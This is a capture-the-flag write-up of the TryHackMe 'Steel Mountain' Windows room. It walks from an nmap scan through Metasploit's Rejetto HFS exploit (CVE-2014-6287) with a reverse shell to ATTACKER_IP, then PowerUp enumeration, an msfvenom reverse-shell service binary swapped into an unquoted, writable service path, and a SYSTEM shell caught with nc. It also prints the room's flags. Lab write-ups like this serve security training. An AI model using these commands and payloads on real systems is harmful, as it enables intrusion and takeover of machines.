

Index

1. Setup
2. Reconnaissance
3. Gain Access
4. Privilege Escalation
5. Conclusion

Setup

We first need to connect to the tryhackme VPN server. You can get more information regarding this by visiting the [Access](#) page.

I'll be using openvpn to connect to the server. Here's the command:

```
$ sudo openvpn --config NovusEdge.ovpn
```

Reconnaissance

Conducting an `nmap` scan, we find the following information:

```
1 $ sudo nmap -sS -vv --top-ports 2000 -oN nmap_scan.txt -Pn TARGET_IP
2 PORT      STATE SERVICE      REASON
3 80/tcp     open  http         syn-ack ttl 127
4 135/tcp    open  msrpc        syn-ack ttl 127
5 139/tcp    open  netbios-ssn  syn-ack ttl 127
6 445/tcp    open  microsoft-ds syn-ack ttl 127
7 3389/tcp   open  ms-wbt-server syn-ack ttl 127
8 8080/tcp   open  http-proxy   syn-ack ttl 127
9 49152/tcp  open  unknown      syn-ack ttl 127
10 49153/tcp  open  unknown      syn-ack ttl 127
11 49154/tcp  open  unknown      syn-ack ttl 127
12 49155/tcp  open  unknown      syn-ack ttl 127
13 49156/tcp  open  unknown      syn-ack ttl 127
```

There's a http web server running on port 80 and a proxy running on 8080. Using a browser to visit the web page on port 80, we see a simple page with a picture of the employee of the month. Inspecting the web page, we can see that the image's source is: `/img/BillHarper.png`. This gives us the answer to the first question asked in the room:

Who is the employee of the month?
Answer: Bill Harper

From the `nmap` scans, we also have the answer for the next task:

Scan the machine with nmap. What is the other port running a web server on?
Answer: 8080

If we try and visit the page: `http://TARGET_IP:8080/` using the browser, we're greeted with the following:

User

Login

Folder

Home

0 folders, 0 files, 0 bytes

Search

go

Select

All Invert Mask

0 items selected

Actions

Archive Get list

Server information

[HttpFileServer 2.3](#)
Server time: 11/24/2022 12:41:22 PM
Server uptime: 00:14:53

No files in this folder

If we try to login and cancel, we're redirected to the following web page, which can then be followed by clicking on the [HttpFileServer 2.3](#) link, taking us to the HFS server's documentation page:

Unauthorized

Either your user name and password do not match, or you are not permitted to access this resource.

[HttpFileServer 2.3](#)
11/24/2022 12:44:11 PM



What is it?

- ... it's file sharing
- ... it's webserver
- ... it's open source
- ... it's free
- ... it's guaranteed to contain no malware

Features

- Download and upload
- Virtual file system
- Highly customizable
- HTML template
- Bandwidth control
- Easy/Expert mode
- Log
- Full control over connections
- Accounts
- Dynamic DNS updater

Description

You can use HFS (HTTP File Server) to send and receive files. It's different from classic file sharing because it uses web technology to be more compatible with today's Internet. It also differs from classic web servers because it's very easy to use and runs "right out-of-the box".

Observe the URL is: <https://www.rejetto.com/hfs>. Putting it all together, we get the answer to the next question in the room:

Take a look at the other web server. What file server is running?

Answer: Rejetto HTTP File Server

A quick search for exploits gives us some possible options for gaining access:

```
1 $ searchsploit rejetto http file server
2 -----
3 Exploit Title | Path
4 -----
5 Rejetto HTTP File Server (HFS) - Remote Command Execution (Metasploit) | windows/remote/34926.rb
6 Rejetto HTTP File Server (HFS) 1.5/2.x - Multiple Vulnerabilities | windows/remote/31056.py
7 Rejetto HTTP File Server (HFS) 2.2/2.3 - Arbitrary File Upload | multiple/remote/30850.txt
8 Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1) | windows/remote/34668.txt
9 Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2) | windows/remote/39161.py
10 Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Executi | windows/webapps/34852.txt
11 Rejetto HttpFileServer 2.3.x - Remote Command Execution (3) | windows/webapps/49125.py
12 -----
13 Shellcodes: No Results
```

For this task, we can use the last exploit on the list. Using [searchsploit](#) we can get the full path to the exploit and see what the corresponding CVE number for this exploit is:

```
1 $ searchsploit -p windows/webapps/49125.py
2 Exploit: Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)
3 URL: https://www.exploit-db.com/exploits/49125
```

```

4      Path: /usr/share/exploitdb/exploits/windows/webapps/49125.py
5  File Type: Python script, Unicode text, UTF-8 text executable
6
7  Copied EDB-ID #49125's path to the clipboard
8
9  $ head /usr/share/exploitdb/exploits/windows/webapps/49125.py
10 # Exploit Title: Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)
11 # Google Dork: intext:"httpfileserv 2.3"
12 # Date: 28-11-2020
13 # Remote: Yes
14 # Exploit Author: Óscar Andreu
15 # Vendor Homepage: http://rejetto.com/
16 # Software Link: http://sourceforge.net/projects/hfs/
17 # Version: 2.3.x
18 # Tested on: Windows Server 2008 , Windows 8, Windows 7
19 # CVE : CVE-2014-6287

```

What is the CVE number to exploit this file server?

Answer: **2014-6287**

Gaining Access

Using metasploit to gain initial access:

```

1  $ sudo msfconsole -q
2  msf6 > use exploit/windows/http/rejetto_hfs_exec
3  [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
4  msf6 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS TARGET_IP
5  RHOSTS => TARGET_IP
6  msf6 exploit(windows/http/rejetto_hfs_exec) > set RPORT 8080
7  RPORT => 8080
8
9  msf6 exploit(windows/http/rejetto_hfs_exec) > run
10
11 [*] Started reverse TCP handler on ATTACKER_IP:4444
12 [*] Using URL: http://ATTACKER_IP:8080/jEDk49hV8EF
13 [*] Server started.
14 [*] Sending a malicious request to /
15 [*] Payload request received: /jEDk49hV8EF
16 [*] Sending stage (175686 bytes) to TARGET_IP
17 [!] Tried to delete %TEMP%\viaORyR.vbs, unknown result
18 [*] Meterpreter session 1 opened (ATTACKER_IP:4444 -> TARGET_IP:49244) at 2022-11-25 00:32:52 +0330
19 [*] Server stopped.
20
21 meterpreter >

```

With the meterpreter session, we get the user flag:

```

1 meterpreter > pwd
2 C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
3 meterpreter > cd ../../../../../../../
4 meterpreter > pwd
5 C:\Users\bill
6
7 meterpreter > ls Desktop\
8 Listing: Desktop\
9 =====
10
11 Mode                Size   Type   Last modified             Name
12 ----                -
13 100666/rw-rw-rw-  282   fil   2019-09-27 14:37:07 +0330  desktop.ini
14 100666/rw-rw-rw-   70   fil   2019-09-27 16:12:38 +0330  user.txt
15
16 meterpreter > cd Desktop\
17 meterpreter > cat user.txt
18     b04763b6fcf51fcd7c13abc7db4fd365

```

We thus have our user flag:

Use Metasploit to get an initial shell. What is the user flag?

Answer: **b04763b6fcf51fcd7c13abc7db4fd365**

Privilege Escalation

As instructed in the room's task description, we'll need to use the **PowerUp** script. Downloading the script using a simple **wget** command:

```
1 $ wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
```

We can upload this script using our meterpreter session and then execute it:

```

1 meterpreter > upload PowerUp.ps1
2 ...
3
4 meterpreter > load powershell
5 Loading extension powershell...Success.
6
7 meterpreter > powershell_shell
8 PS > whoami
9 steelmountain\bill
10
11 PS > . .\PowerUp.ps1
12 PS > Invoke-AllChecks
13
14
15 ServiceName      : AdvancedSystemCareService9
16 Path             : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe

```

```

17 ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
18 StartName      : LocalSystem
19 AbuseFunction   : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
20 CanRestart     : True
21 Name           : AdvancedSystemCareService9
22 Check          : Unquoted Service Paths
23
24 ServiceName     : AdvancedSystemCareService9
25 Path            : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
26 ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}
27 StartName      : LocalSystem
28 AbuseFunction   : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
29 CanRestart     : True
30 Name           : AdvancedSystemCareService9
31 Check          : Unquoted Service Paths
32
33 ServiceName     : AdvancedSystemCareService9
34 Path            : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
35 ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit; IdentityReference=STEELMOUNTAIN\bill;
36                 Permissions=System.Object[]}
37 StartName      : LocalSystem
38 AbuseFunction   : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
39 CanRestart     : True
40 Name           : AdvancedSystemCareService9
41 Check          : Unquoted Service Paths
42
43 ServiceName     : AdvancedSystemCareService9
44 Path            : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
45 ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe;
46                 IdentityReference=STEELMOUNTAIN\bill; Permissions=System.Object[]}
47 StartName      : LocalSystem
48 AbuseFunction   : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
49 CanRestart     : True
50 Name           : AdvancedSystemCareService9
51 Check          : Unquoted Service Paths
52
53 ServiceName     : AWSLiteAgent
54 Path            : C:\Program Files\Amazon\XenTools\LiteAgent.exe
55 ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
56 StartName      : LocalSystem
57 AbuseFunction   : Write-ServiceBinary -Name 'AWSLiteAgent' -Path <HijackPath>
58 CanRestart     : False
59 Name           : AWSLiteAgent
60 Check          : Unquoted Service Paths
61
62 ServiceName     : AWSLiteAgent
63 Path            : C:\Program Files\Amazon\XenTools\LiteAgent.exe
64 ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}
65 StartName      : LocalSystem
66 AbuseFunction   : Write-ServiceBinary -Name 'AWSLiteAgent' -Path <HijackPath>
67 CanRestart     : False

```

```

68 Name           : AWSLiteAgent
69 Check           : Unquoted Service Paths
70
71 ServiceName     : IObitUnSvr
72 Path            : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
73 ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
74 StartName       : LocalSystem
75 AbuseFunction   : Write-ServiceBinary -Name 'IObitUnSvr' -Path <HijackPath>
76 CanRestart     : False
77 Name           : IObitUnSvr
78 Check           : Unquoted Service Paths
79
80 ServiceName     : IObitUnSvr
81 Path            : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
82 ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}
83 StartName       : LocalSystem
84 AbuseFunction   : Write-ServiceBinary -Name 'IObitUnSvr' -Path <HijackPath>
85 CanRestart     : False
86 Name           : IObitUnSvr
87 Check           : Unquoted Service Paths
88
89 ServiceName     : IObitUnSvr
90 Path            : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
91 ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit; IdentityReference=STEELMOUNTAIN\bill;
92                 Permissions=System.Object[]}
93 StartName       : LocalSystem
94 AbuseFunction   : Write-ServiceBinary -Name 'IObitUnSvr' -Path <HijackPath>
95 CanRestart     : False
96 Name           : IObitUnSvr
97 Check           : Unquoted Service Paths
98
99 ServiceName     : IObitUnSvr
100 Path           : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
101 ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe;
102                 IdentityReference=STEELMOUNTAIN\bill; Permissions=System.Object[]}
103 StartName       : LocalSystem
104 AbuseFunction   : Write-ServiceBinary -Name 'IObitUnSvr' -Path <HijackPath>
105 CanRestart     : False
106 Name           : IObitUnSvr
107 Check           : Unquoted Service Paths
108
109 ServiceName     : LiveUpdateSvc
110 Path            : C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
111 ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
112 StartName       : LocalSystem
113 AbuseFunction   : Write-ServiceBinary -Name 'LiveUpdateSvc' -Path <HijackPath>
114 CanRestart     : False
115 Name           : LiveUpdateSvc
116 Check           : Unquoted Service Paths
117
118 ServiceName     : LiveUpdateSvc

```

```

119 Path           : C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
120 ModifiablePath : @{{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}}
121 StartName      : LocalSystem
122 AbuseFunction   : Write-ServiceBinary -Name 'LiveUpdateSvc' -Path <HijackPath>
123 CanRestart     : False
124 Name           : LiveUpdateSvc
125 Check          : Unquoted Service Paths
126
127 ServiceName     : LiveUpdateSvc
128 Path           : C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
129 ModifiablePath : @{{ModifiablePath=C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe;
130                 IdentityReference=STEELMOUNTAIN\bill; Permissions=System.Object[]}}
131 StartName      : LocalSystem
132 AbuseFunction   : Write-ServiceBinary -Name 'LiveUpdateSvc' -Path <HijackPath>
133 CanRestart     : False
134 Name           : LiveUpdateSvc
135 Check          : Unquoted Service Paths
136
137 ServiceName     : AdvancedSystemCareService9
138 Path           : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
139 ModifiableFile  : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
140 ModifiableFilePermissions : {WriteAttributes, Synchronize, ReadControl, ReadData/ListDirectory...}
141 ModifiableFileIdentityReference : STEELMOUNTAIN\bill
142 StartName      : LocalSystem
143 AbuseFunction   : Install-ServiceBinary -Name 'AdvancedSystemCareService9'
144 CanRestart     : True
145 Name           : AdvancedSystemCareService9
146 Check          : Modifiable Service Files
147
148 ServiceName     : IObitUnSvr
149 Path           : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
150 ModifiableFile  : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
151 ModifiableFilePermissions : {WriteAttributes, Synchronize, ReadControl, ReadData/ListDirectory...}
152 ModifiableFileIdentityReference : STEELMOUNTAIN\bill
153 StartName      : LocalSystem
154 AbuseFunction   : Install-ServiceBinary -Name 'IObitUnSvr'
155 CanRestart     : False
156 Name           : IObitUnSvr
157 Check          : Modifiable Service Files
158
159 ServiceName     : LiveUpdateSvc
160 Path           : C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
161 ModifiableFile  : C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
162 ModifiableFilePermissions : {WriteAttributes, Synchronize, ReadControl, ReadData/ListDirectory...}
163 ModifiableFileIdentityReference : STEELMOUNTAIN\bill
164 StartName      : LocalSystem
165 AbuseFunction   : Install-ServiceBinary -Name 'LiveUpdateSvc'
166 CanRestart     : False
167 Name           : LiveUpdateSvc
168 Check          : Modifiable Service Files

```

The **CanRestart** option is set to true for the **AdvancedSystemCareService9** service. Moreover, the service has

a **unquoted service path** vulnerability.

Take close attention to the **CanRestart** option that is set to true. What is the name of the service which shows up as an unquoted service path vulnerability?

Answer: **AdvancedSystemCareService9**

The **CanRestart** option being true, allows us to restart a service on the system, the directory to the application is also write-able. This means we can replace the legitimate application with our malicious one, restart the service, which will run our infected program.

We can generate a reverse shell payload using **msfvenom** and upload it to the server.

NOTE: Press **Ctrl+C** to terminate the loaded powershell session and get back to the meterpreter session.

```
1  $ msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o
   ↪ ASCService.exe
2
3  # In the meterpreter session:
4  meterpreter > shell
5  Process 100 created.
6  Channel 9 created.
7  Microsoft Windows [Version 6.3.9600]
8  (c) 2013 Microsoft Corporation. All rights reserved.
9
10 C:\Users\bill\Desktop> sc stop AdvancedSystemCareService9
11
12 SERVICE_NAME: AdvancedSystemCareService9
13         TYPE               : 110  WIN32_OWN_PROCESS   (interactive)
14         STATE                : 4    RUNNING
15                               (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
16         WIN32_EXIT_CODE       : 0    (0x0)
17         SERVICE_EXIT_CODE    : 0    (0x0)
18         CHECKPOINT            : 0x0
19         WAIT_HINT             : 0x0
20
21 C:\Users\bill\Desktop> ^C
22 Terminate channel 9? [y/N]  y
23 meterpreter > upload ASCService.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
24
25 meterpreter > shell
26 ...
27 C:\Users\bill\Desktop> sc start AdvancedSystemCareService9
28 ...
29 ...
30
31 # To our listener:
32 $ nc -nvlp 4443
33 ...
34 ...
35 Microsoft Windows [Version 6.3.9600]
36 (c) 2013 Microsoft Corporation. All rights reserved.
37
38 C:\Windows\system32> whoami
```

```
39 nt authority\system
40
41 C:\Windows\system32>cd C:\\Users\\Administrator\\Desktop
42 C:\Users\Administrator\Desktop>type root.txt
43 9af5f314f57607c00fd09803a587db80
```

We finally have the root flag!

What is the root flag?

Answer: `9af5f314f57607c00fd09803a587db80`

Conclusion

I hope this writeup was useful. If you like it, please consider following me on [github](#) and dropping a star on the [repo](#)

- Author: Aliasgar Khimani
- Room: [Steel Mountain](#)